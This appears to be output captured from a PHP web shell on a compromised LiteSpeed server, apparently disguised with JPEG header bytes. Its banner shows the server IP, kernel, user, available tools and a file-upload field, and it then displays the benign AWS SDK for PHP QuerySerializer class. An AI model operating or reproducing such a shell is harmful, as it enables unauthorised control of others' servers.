����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 216.73.216.82 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/vendor/aws/aws-sdk-php/src/Api/Serializer/ |
Upload File : |
<?php namespace Aws\Api\Serializer; use Aws\Api\Service; use Aws\CommandInterface; use GuzzleHttp\Psr7\Request; use Psr\Http\Message\RequestInterface; /** * Serializes a query protocol request. * @internal */ class QuerySerializer { private $endpoint; private $api; private $paramBuilder; public function __construct( Service $api, $endpoint, callable $paramBuilder = null ) { $this->api = $api; $this->endpoint = $endpoint; $this->paramBuilder = $paramBuilder ?: new QueryParamBuilder(); } /** * When invoked with an AWS command, returns a serialization array * containing "method", "uri", "headers", and "body" key value pairs. * * @param CommandInterface $command * * @return RequestInterface */ public function __invoke(CommandInterface $command) { $operation = $this->api->getOperation($command->getName()); $body = [ 'Action' => $command->getName(), 'Version' => $this->api->getMetadata('apiVersion') ]; $params = $command->toArray(); // Only build up the parameters when there are parameters to build if ($params) { $body += call_user_func( $this->paramBuilder, $operation->getInput(), $params ); } $body = http_build_query($body, null, '&', PHP_QUERY_RFC3986); return new Request( 'POST', $this->endpoint, [ 'Content-Length' => strlen($body), 'Content-Type' => 'application/x-www-form-urlencoded' ], $body ); } }